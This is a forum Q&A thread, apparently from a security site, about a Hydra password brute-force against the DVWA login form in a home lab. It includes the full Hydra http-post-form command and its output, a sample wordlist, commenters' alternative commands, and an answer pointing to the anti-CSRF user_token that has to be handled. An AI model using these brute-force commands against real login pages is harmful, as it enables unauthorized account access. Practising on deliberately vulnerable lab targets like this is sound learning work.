2

I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the real password (password) in it.

Here's the command and the output

user1@kali:~$ hydra -l admin -P '/home/user1/Desktop/easy.txt' 192.168.203.131 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-03-09 22:03:37
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 8 tasks per 1 server, overall 64 tasks, 8 login tries (l:1/p:8), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "aaa" - 1 of 8 [child 0]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "bbb" - 2 of 8 [child 1]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "cccc" - 3 of 8 [child 2]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "ddddd" - 4 of 8 [child 3]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "eee" - 5 of 8 [child 4]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "password" - 6 of 8 [child 5]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "dfsdaf" - 7 of 8 [child 6]
[ATTEMPT] target 192.168.203.131 - login "admin" - pass "23456" - 8 of 8 [child 7]
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-03-09 22:04:20

Here's the contents of easy.txt (notice password is in there)

aaa
bbb
cccc
ddddd
eee
password
dfsdaf
23456

Why didn't it work? I can manually log into DVWA using username:admin and password:password from a webbrowser. Also the command takes a couple minutes to complete.

Improve this question
3
  • Try this: hydra -l admin -P /home/user1/Desktop/easy.txt dvwa http-get-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect." - V
    – Mirsad
    Commented Mar 10, 2016 at 6:24
  • @ it couldn't resolve dvwa and instead of "Username and/or password inccorrect" the failure message is "Login failed" and other than those 2 things your command is the same as the original
    – Celeritas
    Commented Mar 10, 2016 at 7:13
  • Are you sure its an http-post-form and not a get one? (just double checking)
    – Victor
    Commented Mar 10, 2016 at 10:00

1 Answer 1

Reset to default
2

If I read the source for login.php correctly (at https://github.com/RandomStorm/DVWA/blob/master/login.php) the page does a check for an anti-CSRF token. If it is not there, you will get a redirect back to the login page. So you will need to include that token in your tries.

I won't give it away completely but check for a hidden parameter called user_token in your login page.

Improve this answer
0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .